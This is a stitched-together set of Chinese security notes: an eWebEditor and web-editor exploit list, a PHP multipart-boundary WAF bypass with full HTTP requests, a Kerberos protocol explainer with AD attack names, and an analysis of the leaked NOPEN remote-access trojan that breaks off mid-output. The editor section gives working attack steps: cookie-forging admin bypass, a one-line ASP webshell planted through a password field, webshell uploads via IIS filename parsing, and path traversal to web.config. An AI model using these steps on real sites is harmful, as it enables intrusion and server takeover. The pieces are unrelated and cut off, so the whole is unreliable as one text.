攻击利用:(请修改action字段为指定网址) ewebeditor asp版2.1.6上传漏洞利用程序.html eWebEditor 2.7.0 注入漏洞 注入漏洞 攻击利用 攻击利用: http://www.网址.com/ewebeditor/ ewebeditor.asp?id=article_content&style=full_v200 默认表名:eWebEditor_System默认列名:sys_UserName、sys_UserPass, 然后利用nbsi进行猜解. eWebEditor2.8.0最终版删除任意文件漏洞 最终版删除任意文件漏洞 脆弱描述: 脆弱描述: 此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是 ewebeditor的测试页面,无须登陆可以直接进入。 攻击利用: (请修改action字段为指定网址) Del Files.html eWebEditor v6.0.0 上传漏洞 上传漏洞 攻击利用 攻击利用: 在编辑器中点击“插入图片”--网络--输入你的WEBSHELL在某空间上的地址(注:文 件名称必须为:xxx.jpg.asp 以此类推…),确定后,点击“远程文件自动上传”控件 (第一次上传会提示你安装控件,稍等即可),查看“代码”模式找到文件上传路径, 访问即可,eweb官方的DEMO也可以这么做,不过对上传目录取消掉了执行权限, 所以上传上去也无法执行网马. eWebEditor PHP/ASP…后台通杀漏洞 后台通杀漏洞 影响版本 影响版本: PHP ≥ 3.0~3.8与asp 2.8版也通用,或许低版本也可以,有待测试。 攻击利用 攻击利用: 进入后台/eWebEditor/admin/login.php,随便输入一个用户和密码,会提示出错了. 这时候你清空浏览器的url,然后输入 javascript:alert(document.cookie="adminuser="+escape("admin")); javascript:alert(document.cookie="adminpass="+escape("admin")); javascript:alert(document.cookie="admindj="+escape("1")); 而后三次回车,清空浏览器的URL,现在输入一些平常访问不到的文件如../ ewebeditor/admin/default.php,就会直接进去。 eWebEditor for php任意文件上传漏洞 任意文件上传漏洞 影响版本 影响版本:ewebeditor php v3.8 or older version 脆弱描述 脆弱描述: 此版本将所有的风格配置信息保存为一个数组$aStyle,在php.ini配置 register_global为on的情况下我们可以任意添加自己喜欢的风格,并定义上传类 型。 攻击利用 攻击利用: phpupload.html eWebEditor JSP版漏洞 版漏洞 大同小异,我在本文档不想多说了,因为没环境 测试,网上垃圾场那么大,不好排 查。用JSP编辑器的我觉得eweb会比FCKeditor份额少得多。 给出个连接:http://blog.haaker.cn/post/161.html 还有:http://www.anqn.com/zhuru/article/all/2008-12-04/ a09104236.shtml eWebEditor 2.8 商业版插一句话木马 商业版插一句话木马 影响版本 影响版本:=>2.8 商业版 攻击利用 攻击利用: 登陆后台,点击修改密码---新密码设置为 1":eval request("h")’ 设置成功后,访问asp/config.asp文件即可,一句话木马被写入到这个文件里面了. eWebEditorNet upload.aspx 上传漏洞 上传漏洞(WebEditorNet) 脆弱描述: 脆弱描述: WebEditorNet 主要是一个upload.aspx文件存在上传漏洞。 攻击利用 攻击利用: 默认上传地址:/ewebeditornet/upload.aspx 可以直接上传一个cer的木马 如果不能上传则在浏览器地址栏中输入javascript:lbtnUpload.click(); 成功以后查看源代码找到uploadsave查看上传保存地址,默认传到uploadfile这个 文件夹里。 southidceditor(一般使用 一般使用v2.8.0版 版eWeb核心 核心) http://www.网址.com/admin/southidceditor/datas/southidceditor.mdb http://www.网址.com/admin/southidceditor/admin/admin_login.asp http://www.网址.com/admin/southidceditor/popup.asp bigcneditor(eWeb 2.7.5 VIP核心 核心) 其实所谓的Bigcneditor就是eWebEditor 2.7.5的VIP用户版.之所以无法访问 admin_login.asp,提示“权限不够”4字真言,估计就是因为其授权“Licensed”问 题,或许只允许被授权的机器访问后台才对。 或许上面针对eWebEditor v2.8以下低版本的小动作可以用到这上面来.貌似没多少 动作?L Cute Editor Cute Editor在线编辑器本地包含漏洞 在线编辑器本地包含漏洞 影响版本 影响版本: CuteEditor For Net 6.4 脆弱描述: 脆弱描述: 可以随意查看网站文件内容,危害较大。 攻击利用 攻击利用: http://www.TEST.com/CuteSoft_Client/CuteEditor/ Load.ashx?type=image&file=../../../web.config Webhtmleditor 利用 利用WIN 2003 IIS文件名称解析漏洞获得 文件名称解析漏洞获得SHELL 影响版本: 影响版本:<= Webhtmleditor最终版1.7 (已停止更新) 脆弱描述 脆弱描述/攻击利用: 攻击利用: 对上传的图片或其他文件无重命名操作,导致允许恶意用户上传diy.asp;.jpg来绕过 对后缀名审查的限制,对于此类因编辑器作者意识犯下的错误,就算遭遇缩略图,文 件头检测,也可使用图片木马 插入一句话来突破。 Kindeditor 利用 利用WIN 2003 IIS文件名称解析漏洞获得 文件名称解析漏洞获得SHELL 影响版本 影响版本: <= kindeditor 3.2.1(09年8月份发布的最新版) 脆弱描述 脆弱描述/攻击利用: 攻击利用: 拿官方做个演示:进入http://kindsoft.net/ke/examples/index.html 随意点击 一个demo后点图片上传,某君上传了如下文件:http://kindsoft.net/ke/ attached/test.asp;.jpg 大家可以前去围观。(现已失效,请速至老琴房弹 奏《Secret》回到09年8月份观看) Note:参见附录C原理解析。 Freetextbox Freetextbox遍历目录漏洞 遍历目录漏洞 影响版本: 影响版本:未知 脆弱描述: 脆弱描述: 因为ftb.imagegallery.aspx代码中 只过滤了/但是没有过滤\符号所以导致出现了遍 历目录的问题。 攻击利用 攻击利用: 在编辑器页面点图片会弹出一个框(抓包得到此地址)构造如下,可遍历目录。 http://www.XXX.cn/Member/images/ftb/HelperScripts/ ftb.imagegallery.aspx?frame=1&rif=..&cif=\.. 附录 附录A: : Apache文件名解析缺陷漏洞: 文件名解析缺陷漏洞: -------------------------- 测试环境:apache 2.0.53 winxp,apache 2.0.52 redhat linux 1.国外(SSR TEAM)发了多个advisory称Apache's MIME module (mod_mime)相关漏洞,就是attack.php.rar会被当做php文件执行的漏洞,包 括Discuz!那 个p11.php.php.php.php.php.php.php.php.php.php.php.php.rar漏洞。 2.S4T的superhei在blog上发布了这个apache的小特性,即apache 是从后面开始 检查后缀,按最后一个合法后缀执行。其实只要看一下apache的htdocs那些默认安 装的index.XX文件就明白了。 3.superhei已经说的非常清楚了,可以充分利用在上传漏洞上,我按照普遍允许上传 的文件格式测试了一下,列举如下(乱分类勿怪) 典型型:rar 备份型:bak,lock 流媒体型:wma,wmv,asx,as,mp4,rmvb 微软型:sql,chm,hlp,shtml,asp 任意型:test,fake,ph4nt0m 特殊型:torrent 程序型:jsp,c,cpp,pl,cgi 4.整个漏洞的关键就是apache的"合法后缀"到底是哪些,不是"合法后缀"的都可以被 利用。 5.测试环境 a.php <? phpinfo();?> 然后增加任意后缀测试,a.php.aaa,a.php.aab.... By cloie, in ph4nt0m.net(c) Security. 附录 附录B: : 安装了iis6的服务器(windows2003),受影响的 受影响的文件名后缀有.asp .asa .cdx .cer .pl .php .cgi Windows 2003 Enterprise Edition是微软目前主流的服务器操作系统。 Windows 2003 IIS6 存在着文件解析路径的漏洞 文件解析路径的漏洞,当文件夹名 文件夹名为类似hack.asp的时候(即文 件夹名看起来像一个ASP文件的文件名),此时此文件夹下的任何类型的文件(比 如.gif,.jpg,.txt等)都可以在IIS中被当做 被当做ASP程序来执行 程序来执行。这样黑客即可上传扩展 名为jpg或gif之类的看起来像是图片文件的木马文件,通过访问这个文件即可运行木 马。如果这些网站中有任何一个文件夹的名字是以 .asp .php .cer .asa .cgi .pl 等 结尾,那么放在这些文件夹下面的任何类型的文件都有可能被认为是脚本文件而交给 脚本解析器而执行 执行。 附录 附录C: : 漏洞描述: 漏洞描述: 当文件名为[YYY].asp;[ZZZ].jpg时,Microsoft IIS会自动以asp格式来进行解 析。 而当文件名为[YYY].php;[ZZZ].jpg时,Microsoft IIS会自动以php格式来进行 解析。 其中[YYY]与[ZZZ]处为可变化字符串。 影响平台: 影响平台: Windows Server 2000 / 2003 / 2003 R2 (IIS 5.x / 6.0) 修补方法: 修补方法: 1、等待微软相关的补丁包 2、关闭图片所在目录的脚本执行权限(前提是你的某些图片没有与程序混合存 放) 3、校验网站程序中所有上传图片的代码段,对形如[YYY].asp;[ZZZ].jpg的图片 做拦截 备注: 备注: 对于Windows Server 2008(IIS7)以及Windows Server 2008 R2(IIS7.5) 则未受影响 Note:(FW) for http://www.cnblogs.com/webserverguard/archive/2009/ 09/14/1566597.html
pdf
分享一下WAF Bypass 一个小的tips 本文通过php 源码来理解 bypass waf 绕过原理 一段PHP代码 绕过一 boundary获取方式 首先看看Content-Type 是怎么获取的到 Content-Type: multipart/form-data; boundary=aa https://github.com/php/php-src/blob/90b7bde61507cee1c6b37f153909d72f5b203b8c/main/rfc18 67.c 首先从Content-Type 获取boundary 然后拿等号后面的值做boundary 的值。那么绕过如下: <?php    var_dump($_POST);    var_dump($_FILES); ?> boundary = strstr(content_type_dup, "boundary"); if (!boundary) { int content_type_len = (int)strlen(content_type_dup); char *content_type_lcase = estrndup(content_type_dup, content_type_len); zend_str_tolower(content_type_lcase, content_type_len); boundary = strstr(content_type_lcase, "boundary"); if (boundary) { boundary = content_type_dup + (boundary - content_type_lcase); } efree(content_type_lcase); } if (!boundary || !(boundary = strchr(boundary, '='))) { sapi_module.sapi_error(E_WARNING, "Missing boundary in multipart/form- data POST data"); return; } POST /upload/upload.php HTTP/1.1 Host: 192.168.1.72 Content-Length: 175 Content-Type: multipart/form-data; boundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundary boundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundary boundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundary boundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundary=222 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Connection: close 伪造一下application/x-www-form-urlencoded --222 Content-Disposition: form-data; name="file"; filename="111.png" Content-Type: image/png 1 --222 Content-Disposition: form-data; name="submit" Submit --222-- POST /upload/upload.php HTTP/1.1 Host: 192.168.1.72 Content-Length: 175 Content-Type:  Multipart/form-data boundaryboundaryboundarybounda  application/x-www-form-urlencoded ryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundarybounda ryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundarybounda ryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundarybounda ryboundaryboundaryboundaryboundaryboundary=222;boundary=6666; 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Connection: close --222 Content-Disposition: form-data; name="file"; filename="111.png" Content-Type: image/png 1 --222 Content-Disposition: form-data; name="submit" Submit --222-- multipart/form-data boundary 中间随意 POST /upload/upload.php HTTP/1.1 Host: 192.168.1.72 Content-Length: 175 Content-Type:   multipart/form-data  application/x-www-form-urlencoded boundaryboundaryboundarybounda  ryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundarybound aryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundarybound aryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundaryboundarybound aryboundaryboundaryboundaryboundaryboundary=222;boundary=6666; 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Connection: close --222 Content-Disposition: form-data; name="file"; filename="111.png" Content-Type: image/png 1 --222 Content-Disposition: form-data; name="submit" Submit --222--
pdf
S-kerberos协议原理 参考文章 Kerberos协议的组成部分 第一次通信 第二次通信 第三次通信 Kerberos协议中的攻击分类 S-kerberos协议原理 参考文章 详解kerberos认证原理 内网渗透测试:Kerberos 协议& Kerberos 认证原理 学习过程主要是参考的第一篇文章,作者将认证的三个流程讲述的非常清楚,只不过中间有细微的错误,和笔误,所 以参考第二篇文章进行改正。 Kerberos协议的组成部分 客户端(Client):发送请求的一方 服务端(Server):接收请求的一方 密钥分发中心(Key Distribution Center,KDC):密钥分发中心,默认安装在域控里,包括AS和TGS两部分。 认证服务器(Authentication Server,AS):认证服务器。用于KDC对Client认证,生成TGT票据。 票据授予服务器(Ticket Granting Server,TGS):票据授予服务器,用于KDC向Client和Server的临时密钥。 活动目录(Active Directory,AD):活动目录,简称AD,用于存储用户、用户组、域相关的信息。 特权属证书(Privilege Attribute Certificate,PAC):PAC包含客户端的权限信息,,如SID及所在的组。 第一次通信 为了获得能够用来访问服务端服务的票据,客户端首先需要来到KDC获得服务授予票据ST(Server Ticket)。由于客户端 是第一次访问KDC,此时KDC也不确定该客户端的身份,所以第一次通信的目的为KDC认证客户端身份,确认客户端是 一个可靠且拥有访问KDC权限的客户端,过程如下: 1. 域内某个客户端要访问域内某个服务,于是输入用户名和密码,此时客户端本机的Kerberos服务会向KDC的AS认证服务发送 一个AS_REQ认证请求,请求的凭据是使用Client的哈希值NTLM-Hash加密的时间戳以及Client-info、Server-info等数 据,以及一些其他信息。 2. KDC当中的AS(Authentication Server)接收请求后去活动目录(AD)中根据用户名查找是否存在该用户,如果存在用户则取出改用 户的NTLM-Hash,并对AS_REQ请求中加密的时间戳进行解密,如果解密成功,则证明客户端提供的密码正确,如果时间戳在 五分钟之内,则预认证成功。 3. 反之如果不存在该用户,则预认证失败。如果认证成功,AS会返回响应(AS_REP)给客户端,其中包含两部分内容: 第一部分内容称为TGT(Ticket Granting Ticket,票据授予票据),客户端需要使用TGT去KDC中的TGS(票据授予中心)获取 访问网络服务所需的ST(Server Ticket,服务授予票据)。TGT中包含的内容有PAC,Client-info,当前时间戳,客户端 即将访问的TGS的Name,TGT的有效时间,以及用于Client和TGS之间通信的密钥Session_key(Client- TGS_SessionKey,CT_SK)。整个TGT使用KDC的一个特定账户的NTLM-Hash进行加密,这个特定的账户就是域控生成时 自动生成的Krbtgt用户。 第二部分内容使用从AD中查询的客户端的NTLM-Hash进行加密,内容包括客户端即将访问的TGS的Name,TGT的有效时 间,一个当前时间戳,以及生成的CT_SK密钥。这一部分的加密时客户端的哈希,所以客户端获取响应之后可以将这一 部分数据进行解密,然后本地缓存此TGT和原始的CT_SK密钥。 至此,第一次通信完成。 第二次通信 此时的客户端收到了来自KDC(其实是AS)的响应,并获取到了其中的两部分内容。客户端会用自己的NTLM-Hash将第 二部分内容进行解密,分别获得时间戳,自己将要访问的TGS的信息,和用于与TGS通信时的密钥CT_SK。首先他会根 据时间戳判断该时间戳与自己发送请求时的时间之间的差值是否大于5分钟,如果大于五分钟则认为该AS是伪造的, 认证至此失败。如果时间戳合理,客户端便准备向TGS发起请求。其次请求的主要目的是为了获取能够访问目标网络 服务的ST(Server Ticket)。 在第二次通信请求中,客户端将携带三部分内容交给KDC中的TGS,第二次通信过程具体如 下所述: 客户端行为: 1. 客户端使用CT_SK加密时间戳、Client-info作为第一部分信息发送给TGS。 2. 客户端将自己想要访问的Server服务以明文的方式发送给KDC 3. 客户端将TGT作为第二部分内容发送给TGS,TGT的内容因为使用的是Krbtgt用户的NTLM-Hash加密,客户端无法解开,所以 原封不动发送。 4. 两部分组成的请求被称为TGS_REQ。 TGS行为: 1. 此时KDC中的TGS收到了来自客户端的请求。他首先根据客户端明文传输过来的Server服务IP查看当前kerberos系统中是否 存在可以被用户访问的该服务。如果不存在,认证失败结束,。如果存在,继续接下来的认证。 2. TGS使用Krbtgt用户的NTLM-Hash将TGT中的内容进行解密,此时他看到了经过AS认证过后并记录的用户信息,CT_SK,还有 时间戳信息,他会现根据时间戳判断此次通信是否真是可靠有无超出时延。 3. 如果时延正常,则TGS会使用CT_SK对客户端的第一部分内容进行解密(使用CT_SK加密的客户端信息),取出其中的用户信 息和TGT中的用户信息进行比对,如果全部相同则认为客户端身份正确。 4. 此时KDC将返回响应给客户端,响应(TGS_REP)内容包括: 第一部分:用于客户端访问网络服务的使用ST(Servre Ticket,当然这个ST使用的应该是服务端的NTLM-Hash进行加 密),内容包括Client-info,Server-info,ST的有效时间,时间戳以及用于客户端和服务端之间通信的密钥 (Client-Server_SessionKey,CS_SK)。 第二部分:使用CT_SK加密的内容,其中包括CS_SK和时间戳,还有ST的有效时间。由于在第一次通信的过程中,客户 端解密并缓存了CT_SK所以该部分内容在客户端接收到时是可以自己解密的。 至此,第二次通信完成。 第三次通信 此时的客户端收到了来自TGS的响应,并使用缓存在本地的CT_SK解密了第二部分内容(第一部分内容中的ST是由服 务端的NTLM-Hash进行加密,客户端无法解密),检查时间戳无误后取出其中的CS_SK准备向服务端发起最后的请 求。 客户端: 1. 客户端使用CS_SK将自己的主机信息和时间戳进行加密作为交给服务端的第一部分内容,然后将ST作为第二部分内容都发送 给服务端。 服务端: 1. 服务器此时收到了来自客户端的请求,他会使用自己的NTLM-Hash将客户端第二部分内容进行解密,核对时间戳之后将其中 的CS_SK取出,使用CS_SK将客户端发来的第一部分内容进行解密,从而获得经过TGS认证过后的客户端信息,此时他将这部 分信息和客户端第二部分内容带来的自己的信息进行比对,最终确认该客户端就是经过了KDC认证的具有真实身份的客户 端,是他可以提供服务的客户端。此时服务端返回一段使用CS_SK加密的表示接收请求的响应给客户端,在客户端收到请求 之后,使用缓存在本地的CS_SK解密之后也确定了服务端的身份(其实服务端在通信的过程中还会使用数字证书证明自己身 份)。 至此,第三次通信完成。此时也代表着整个kerberos认证的完成,通信的双方都确认了对方的身份,此时便可以放心 的进行整个网络通信了。 Kerberos协议中的攻击分类 1. AS_REQ&AS_REP阶段: 域内用户枚举 密码喷洒 AS-REP Roasting攻击 黄金票据 2. TGS_REQ&TGS_REP阶段: Kerberosast攻击 白银票据 委派攻击: 非约束委派 S4U协议: 约束委派 基于资源的约束委派 3. PAC安全问题: MS14068 CVE-2021-42278&CVE-2021042287(NoPac)
pdf
Equation NOPEN Equation NOPEN 概述 基本信息 运行方法 本地环境变量 本地客户端命令 keepalive autopilot norc 远程目录命令 find cd ls 远程文件操作 get put cat upload grep mailgrep cksum chili 远程网络穿透 tunnel irtun istun jackpop nrtun nstun rawsend rtun rutun stun sutun scan vscan 远程网络命令 icmptime ifconfig nslookup ping trace 远程服务端命令 pid listen call burn 远程服务端常用命令 elevate ps shell time status getenv setenv gs 操作分析 服务端反向连接到客户端 指定服务端口的正向连接 命令脚本的批量执行 autopot incision 隧道的综合利用 elevate 对比分析 会话密钥生成 scaner ourtn scripme 总结 参考 概述 作者根据EQGRP公开资料进行研究分析,研究相关工具的开发实现和攻击防御思路。 “NOPEN”木马工具为针对Unix/Linux系统的远程控制工具,主要用于文件窃取、系统提权、网络通信重 定向以及查看目标设备信息等,是一个典型的C2程序。 “NOPEN”木马工具编码技术复杂、功能全面、隐蔽性强、适配多种处理器架构和操作系统,并且采用了 插件式结构,可以与其他网络武器或攻击工具进行交互和协作。 “NOPEN”木马工具包含客户端“noclient”和服务端“noserver”两部分,客户端会采取发送激活包的方式与 服务端建立连接,使用RSA算法进行秘钥协商,使用RC6算法加密通信流量。 基本信息 这里分析的代码来自github上的泄露。在Linux\bin\目录下。 对实际样本感兴趣的可以根据cncert的文章进行抓取和分析。 运行方法 这里的测试环境有两台机器,一台是centos4,运行noserver,IP地址是172.19.2.11。另一台是 centos5,运行noclient,IP地址是172.19.2.13. 启动服务端。 md5sum noclient-3.3.2.3-linux-i386 noserver-server 1d5bd438d76dd09edb91bbe81fc8e4f0 noclient-3.3.2.3-linux-i386 ee38509ddc4bef24d387c511c577895a noserver-server ./noserver-server [root@centos4x86 bvp47]# ps aux | grep no root      5107  0.0  0.0  1784  332 pts/2   S    05:15   0:00 ./noserver-server [root@centos4x86 bvp47]# lsof -p 5107 COMMAND   PID USER   FD   TYPE DEVICE   SIZE   NODE NAME noserver- 5107 root cwd   DIR  253,0    4096 1109807 /root/bvp47 noserver- 5107 root rtd   DIR  253,0    4096       2 / noserver- 5107 root txt   REG  253,0  158686 1109895 /root/bvp47/noserver- server noserver- 5107 root mem   REG  253,0  112212  898616 /lib/ld-2.3.4.so 这样服务端启动完毕,运行在32754端口。 启动客户端。 noserver- 5107 root mem   REG  253,0 1547588  898617 /lib/tls/libc-2.3.4.so noserver- 5107 root mem   REG  253,0   81140  897717 /lib/libresolv-2.3.4.so noserver- 5107 root   0u   CHR    1,3            2108 /dev/null noserver- 5107 root   1u   CHR    1,3            2108 /dev/null noserver- 5107 root   2u   CHR    1,3            2108 /dev/null noserver- 5107 root   3u IPv4  75542             TCP *:32754 (LISTEN) ./noclient-3.3.2.3-linux-i386 172.19.2.11 NOPEN!                             v3.3.2.3 sh: scanner: command not found sh: ourtn: command not found sh: scripme: command not found Wed Mar 16 02:01:16 GMT 2022 NHOME: environment variable not set, assuming "NHOME=/home/hacker/test/.." NHOME=/home/hacker/test/.. Reading resource file "/home/hacker/test/../etc/norc"... /home/hacker/test/../etc/norc: No such f ile or directory TERM=screen Entering client mode Attempting connection from 0.0.0.0:39955 to 172.19.2.11:32754... ok Initiating RSA key exchange Receiving random number... ok Generating session key... 64EB17F95BFF6DA5F7509B7819998CF4 Initializing RC6... ok Sending first verify string... ok Receiving second verify string... ok RSA key exchange complete NOPEN server version... 3.3.0.1 (version mismatch, 3.3.0.1 != 3.3.2.3) Connection Bytes In / Out     607/376 (161%C) / 498/303 (164%C) Local Host:Port   localhost:39955 (127.0.0.1:39955) CRemote Host:Port  172.19.2.11:32754 (172.19.2.11:32754) Remote Host:Port   centos4x86.local:32754 (172.19.2.11:32754) Local NOPEN client       3.3.2.3 Date/Time         Wed Mar 16 02:01:16 UTC 2022 History Command Out CWD               /home/hacker/test NHOME             /home/hacker/test/.. PID (PPID)         28563 (15348) Remote NOPEN server       3.3.0.1 (version mismatch, 3.3.0.1 != 3.3.2.3) WDIR               NOT SET OS                 Linux 2.6.9-89.EL #1 Mon Jun 22 12:19:40 EDT 2009 i686 CWD               /root/bvp47 PID (PPID)         6139 (5107) /home/hacker/test/../down/pid: No such file or directory 这样客户端就和服务端连接上了。 客户端首先检测环境,然后连接服务端。先通过RSA进行密钥协商,生成会话密钥。然后自动执行命令- status,最后创建日志类文件。最后启动一个autoport。 简单看,server端,就是一个beacon,主要的功能都在client,作为控制端来操作server端。 本文的server端运行在centos4上,client端运行在centos5上。server端无法运行在centos5上。 连接完毕后,进入到命令行界面,提示符是NO! centos4x86.local:/root/bvp47> 分为三部分,NO!是工具类型,centos4x86.local是主机名称,/root/bvp47是server端的运行目录。 比较特别的是Started NOPEN autoport: 127.0.0.1:1025 Reading resource file "/home/hacker/test/../etc/norc.linux"... /home/hacker/test/../etc/norc.linux: No such file or directory Creating history file "/home/hacker/test/../down/history/centos4x86.local.172.19.2.11"... ok Creating command output file "/home/hacker/test/../down/cmdout/centos4x86.local.172.19.2.11-2022-03-16- 02:01:16"... ok Started NOPEN autoport: 127.0.0.1:1025 ps aux | grep noclient root       739  0.0  0.0   4028   664 pts/4   R+   22:13   0:00 grep noclient hacker   28563  0.0  0.1   5144  1500 pts/3   S+   22:01   0:00 ./noclient- 3.3.2.3-linux-i386 172.19.2.11 lsof -p 28563 COMMAND     PID   USER   FD   TYPE DEVICE SIZE/OFF   NODE NAME noclient- 28563 hacker cwd   DIR  253,0     4096 3211931 /home/hacker/test noclient- 28563 hacker rtd   DIR  253,0     4096       2 / noclient- 28563 hacker txt   REG  253,0   442156 3211940 /home/hacker/test/noclient-3.3.2.3-linux-i386 noclient- 28563 hacker mem   REG  253,0    25462 2458548 /usr/lib/gconv/gconv- modules.cache noclient- 28563 hacker mem   REG  253,0 56417808 2364009 /usr/lib/locale/locale-archive noclient- 28563 hacker mem   REG  253,0    84904 3573276 /lib/libresolv-2.5.so noclient- 28563 hacker mem   REG  253,0   130860 3573257 /lib/ld-2.5.so noclient- 28563 hacker mem   REG  253,0  1706208 3573258 /lib/libc-2.5.so noclient- 28563 hacker mem   REG  253,0   216544 3573265 /lib/libm-2.5.so noclient- 28563 hacker   0u   CHR  136,3     0t0       5 /dev/pts/3 noclient- 28563 hacker   1u   CHR  136,3     0t0       5 /dev/pts/3 noclient- 28563 hacker   2u   CHR  136,3     0t0       5 /dev/pts/3 noclient- 28563 hacker   3u IPv4  41427     0t0     TCP 172.19.2.13:39955- >172.19.2.11:32754 (ESTABLISHED) noclient- 28563 hacker   4w   REG  253,0     1017 3154257 /home/hacker/down/cmdout/centos4x86.local.172.19.2.11-2022-03-16-02:01:16 noclient- 28563 hacker   5u IPv4  41433     0t0     TCP localhost.localdomain:blackjack (LISTEN) grep blackjack /etc/services blackjack       1025/tcp                        # network blackjack blackjack       1025/udp                        # network blackjack 就是启动了一个端口,这个端口的功能是干啥的? -? [03-16-22 02:58:00 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754] [-?] Remote General Commands: Usage: -elevate 是否提权 Usage: -getenv 显示环境变量 Usage: -gs category|filename [options-if-any] 脚本执行 Usage: -setenv VAR=[val] 设置环境变量 Usage: -shell [alt_shell] 生成一个shell Usage: -status 显示连接状态 Usage: -time 显示时间 Usage: -ps [options] 显示进程信息 select: -p pid1,pid2,... -q ppid1,ppid2,... -g gpid1,gpid2,...          -n user1,user2,... -u uid1,uid2,...          -t "ddMmmyy hh:mm"|yyyymmddhhmm|epoch  sort:   -P  -Q   -G   -N   -U  -T     -V         pid ppid gpid user uid time   inverse  grep:   -r regex [-v] [-i] show uid: -I show last 24hrs: -d tree view: -H Remote Server Commands: Usage: -burn 推出,如果是最后一个进程,就删除所有文件 Usage: -call toip toport 回连客户端 Usage: -listen port 启动新进程,监听端口 Usage: -pid 显示进程pid Remote Network Commands: Usage: -icmptime target_ip [source_ip] icmp应答时间 Usage: -ifconfig 显示网络配置信息 Usage: -nslookup name1 ... 查看dns信息 Usage: -ping -r remote_target_ip [-l local_source_ip] [-i|-u|-t] [-p dest_port] [-s src_port] ping主机       -ping host       -ping [-u|-t|-i] host Usage: -trace -r remote_target_ip [-l local_source_ip] [-i|-u|-t] [-p dest_port] [-s src_port] 跟踪路由       -trace host       -trace [-u|-t|-i] host Remote Redirection Commands: Usage: -irtun target_ip call_back_port|RHP [listen_ip] [ourtn arguments] 调用 ourtn建立反向隧道 Usage: -istun target_ip call_in_port|RHP [srcip] [ourtn arguments] 调用ourtn建立隧 道 Usage: -jackpop target_ip target_port source_ip source_port 调用jpackpop Usage: -nrtun [listenip:]port [fromip] 反向监听隧道 Usage: -nstun toip [toport [localport [srcport [srcip]]]] 隧道       -nstun toip:port [srcip] Usage: -rawsend [-s] tcp_port Usage: -rtun [listenip:]port [toip [toport]] [fromip] 反向隧道 Usage: -rutun [listenip:]port [toip [toport]] 反向udp隧道 Usage: -scan [scan_name|port] [targetip] scanner来扫描端口存活 Usage: -sentry target_address source_address (tcp|udp) dest_port src_port interface 支持Solaris 2.6+的隧道工具 Usage: -stun toip toport [localport [srcport [srcip]]] 监听模式的隧道 Usage: -sutun toip toport [localport [srcport [srcip]]] udp监听模式的隧道 Usage: -tunnel [command_listen_port [udp|tcp [autoclose]]] 进入隧道菜单 Usage: -vscan (should add help) Remote File Commands: Usage: -cat remfile 查看文件 Usage: -chili [-l] [-s lines] [-m max] MM-DD-YYYY remdir remfile [remfile ...] Usage: -cksum remfile ... 查看文件hash Usage: -fget [MM-DD-YYYY] loclist 下载文件 Usage: -get [-l] [-q] [-v] [-s minimumsize] [-m MM-DD-YYYY] remfile ... 下载文件 Usage: -grep [-d] [-v] [-n] [-i] [-h] [-C number_of_context_lines] pattern file1 [file2 ...] 搜索文件内容 Usage: -oget [-a] [-q] [-s skipoff] [-b begoff] [-e endoff] remfile 带offset的下载 文件 Usage: -put locfile remfile [mode] 上传文件 Usage: -strings remfile 查看文件中的字符串 Usage: -tail [+/-n] remfile, + to skip n lines of remfile beginning 查看文件尾部内 容 Usage: -touch [-t mtime:atime | refremfile] remfile 修改文件时间信息 Usage: -rm remfile|remdir ... 删除文件 Usage: -upload file port [fromip] 上传文件的指定端口 Usage: -mailgrep [-l] [-m maxbytes] [-r "regexp" [-v]] [-f regexpfilename [-v]] [-a "regexp for attachments to eliminate"] [-b MM-DD-YYYY] [-e MM-DD-YYYY] [-d remotedumpfile] remotedir file1 [file2 ...] 邮件搜索 ex: -mailgrep -a ".doc" -r "^Fred" -b 2-28-2002 /var/spool/mail G* Remote Directory Commands: Usage: -find [-d] [-M | -m -mkfindsargs] [-x[m|a|c] MM-DD-YYYY] remdir [remdir...] 查找文件 Usage: -ls [-1ihuRt] [-x[m|a|c] MM-DD-YYYY] [remfile|remdir ...] 显示目录 Usage: -cd [remdir] 跳转目录 Usage: -cdp 返回上次目录 Local Client Commands: Usage: -autopilot port [xml] 自动执行命令 Usage: -cmdout [locfilename] 输出重定向到文件 Usage: -exit 退出 Usage: -help 帮助 Usage: -hist 命令历史记录 Usage: -keepalive [-d] [-r] [[-v] interval] 定时发送心跳 Usage: -readrc [locfile] 读取资源文件 Usage: -remark [comment] 注释 Usage: -rem [comment] 注释 Usage: # [comment] 注释 Usage: -reset 重置终端设置 Local Environment Commands: Usage: -lcd locdir 本地目录跳转 Usage: -lgetenv 本地显示环境变量 Usage: -lpwd 本地当前目录 Usage: -lsetenv VAR=[val] 本地环境变量设置 Usage: -lsh [[-q] command] 本地shell命令执行 Aliases: 根据-help的帮助信息,工具的功能分为本地和远端两部分,然后再按照功能进行细分。 上面执行了-status命令,这个命令返回连接状态,包括两端软件信息,环境信息,也包含通信的流量和 连接信息。 NSA的命令行工具,基本都是这种格式。-xxx arg1 arg2 ... 通过统一的命令格式和帮助系统,降低了操作员的学习成本和负担,可以快速上手。 客户端支持历史命令操作,但是木有命令补全。 主要包括8个功能模块,每个模块支持多个命令操作,下面逐一看看这些命令。 本地环境变量 主要是设置环境变量,更改目录,执行本地shell命令等等。 NO! centos4x86.local:/root/bvp47>-status [03-16-22 02:59:21 GMT][localhost:39955 -> centos4x86.local.172.19.2.11:32754] [-status] Connection Bytes In / Out     1501/854 (175%C) / 1048/503 (208%C) Local Host:Port   localhost:39955 (127.0.0.1:39955) CRemote Host:Port  172.19.2.11:32754 (172.19.2.11:32754) Remote Host:Port   